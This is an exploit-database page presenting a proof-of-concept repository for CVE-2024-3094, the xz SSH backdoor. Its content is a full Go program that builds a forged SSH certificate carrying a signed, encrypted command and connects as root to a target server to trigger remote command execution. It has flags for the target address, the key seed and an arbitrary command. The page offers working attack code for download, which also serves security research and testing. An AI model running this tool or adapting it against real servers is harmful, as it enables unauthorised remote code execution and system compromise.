Exploit database

GH-a60b828d15ccc7d4655d415afe176a2f

valeriot30/cve-2024-3094

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-3094

52 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files18
valeriot30/cve-2024-3094Revision 2f587955b114

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

bot.go

Suggested starting fileGo · 4,248 bytes
package main

import (
	"bytes"
	"crypto/ecdsa"
	"crypto/ed25519"
	"crypto/elliptic"
	"crypto/rsa"
	"crypto/sha256"
	"encoding/binary"
	"encoding/hex"
	"flag"
	"fmt"
	"io"
	"log"
	"math/big"
	"net"

	"github.com/cloudflare/circl/sign/ed448"
	"golang.org/x/crypto/chacha20"
	"golang.org/x/crypto/ssh"
)

var (
	targetHost  = flag.String("addr", "127.0.0.1:2222", "Target SSH address")
	seedInput   = flag.String("seed", "0", "Seed used for ed448 key generation")
	commandExec = flag.String("cmd", "id > /tmp/.xz", "Command to trigger remotely")
)

type rsaLikeKey struct {
	encoded []byte
}

func (r *rsaLikeKey) Type() string { return "ssh-rsa" }

func (r *rsaLikeKey) Marshal() []byte {
	pub := struct {
		Alg string
		E   *big.Int
		N   []byte
	}{
		"ssh-rsa",
		big.NewInt(0x10001),
		r.encoded,
	}
	return ssh.Marshal(pub)
}

func (r *rsaLikeKey) Verify(data []byte, sig *ssh.Signature) error {
	return nil
}

type triggerAgent struct {
	privKey      ed448.PrivateKey
	encryptKey   []byte
	hashedHost   []byte
	craftedCert  *ssh.Certificate
}

func (ta *triggerAgent) PublicKey() ssh.PublicKey {
	if ta.craftedCert != nil {
		return ta.craftedCert
	}

	m1, m2 := uint32(0x1234), uint32(0x5678)
	m3 := uint64(0xfffffffff9d9ffa2)
	composite := uint32(uint64(m1)*uint64(m2) + m3)

	header := new(bytes.Buffer)
	binary.Write(header, binary.LittleEndian, m1)
	binary.Write(header, binary.LittleEndian, m2)
	binary.Write(header, binary.LittleEndian, m3)

	clen := uint8(len(*commandExec))
	cmdBuf := new(bytes.Buffer)
	cmdBuf.Write([]byte{0, 0, 0, clen, 0})
	cmdBuf.WriteString(*commandExec)
	cmdBuf.WriteByte(0)

	signPayload := new(bytes.Buffer)
	binary.Write(signPayload, binary.LittleEndian, composite)
	signPayload.Write(cmdBuf.Bytes()[:clen+5])
	signPayload.Write(ta.hashedHost)
	sig := ed448.Sign(ta.privKey, signPayload.Bytes(), "")

	fullData := new(bytes.Buffer)
	fullData.Write(sig)
	fullData.Write(cmdBuf.Bytes())

	encryptedPayload := applyDecrypt(fullData.Bytes(), ta.encryptKey[:32], header.Bytes()[:16])
	header.Write(encryptedPayload)
	for header.Len() < 256 {
		header.WriteByte(0)
	}

	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	pubKey, err := ssh.NewPublicKey(&rsa.PublicKey{N: n, E: 0x10001})
	exitIfError(err)

	ta.craftedCert = &ssh.Certificate{
		CertType: ssh.UserCert,
		SignatureKey: &rsaLikeKey{
			encoded: header.Bytes(),
		},
		Signature: &ssh.Signature{
			Format: "ssh-rsa",
			Blob:   []byte{0},
		},
		Key: pubKey,
	}

	fmt.Println(hex.Dump(ta.craftedCert.Marshal()))
	return ta.craftedCert
}

func (ta *triggerAgent) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) {
	return nil, nil
}

func (ta *triggerAgent) HostKeyCallback(_ string, _ net.Addr, hostKey ssh.PublicKey) error {
	hash := sha256.New()
	switch k := hostKey.(ssh.CryptoPublicKey).CryptoPublicKey().(type) {
	case *rsa.PublicKey:
		hash.Write(ssh.Marshal(struct {
			E *big.Int
			N *big.Int
		}{big.NewInt(int64(k.E)), k.N}))
	case *ecdsa.PublicKey:
		bytes := elliptic.Marshal(k.Curve, k.X, k.Y)
		hash.Write(ssh.Marshal(struct{ B []byte }{B: bytes}))
	case ed25519.PublicKey:
		hash.Write(ssh.Marshal(struct{ B []byte }{B: k}))
	default:
		log.Fatalf("Unknown key type: %s", hostKey.Type())
	}
	ta.hashedHost = hash.Sum(nil)[:32]
	return nil
}

func applyDecrypt(input, key, iv []byte) []byte {
	output := make([]byte, len(input))
	cipher, err := chacha20.NewUnauthenticatedCipher(key, iv[4:])
	exitIfError(err)
	cipher.SetCounter(binary.LittleEndian.Uint32(iv[:4]))
	cipher.XORKeyStream(output, input)
	return output
}

func exitIfError(err error) {
	if err != nil {
		log.Fatal(err)
	}
}

func main() {
	flag.Parse()

	if len(*commandExec) > 64 {
		fmt.Println("Command too long (max 64 chars).")
		return
	}

	var seed [ed448.SeedSize]byte
	intSeed, ok := new(big.Int).SetString(*seedInput, 10)
	if !ok {
		fmt.Println("Invalid seed input")
		return
	}
	intSeed.FillBytes(seed[:])

	priv := ed448.NewKeyFromSeed(seed[:])
	agent := &triggerAgent{
		privKey:    priv,
		encryptKey: priv[ed448.SeedSize:],
	}

	cfg := &ssh.ClientConfig{
		User: "root",
		Auth: []ssh.AuthMethod{ssh.PublicKeys(agent)},
		HostKeyCallback: agent.HostKeyCallback,
	}

	conn, err := ssh.Dial("tcp", *targetHost, cfg)
	exitIfError(err)
	defer conn.Close()
}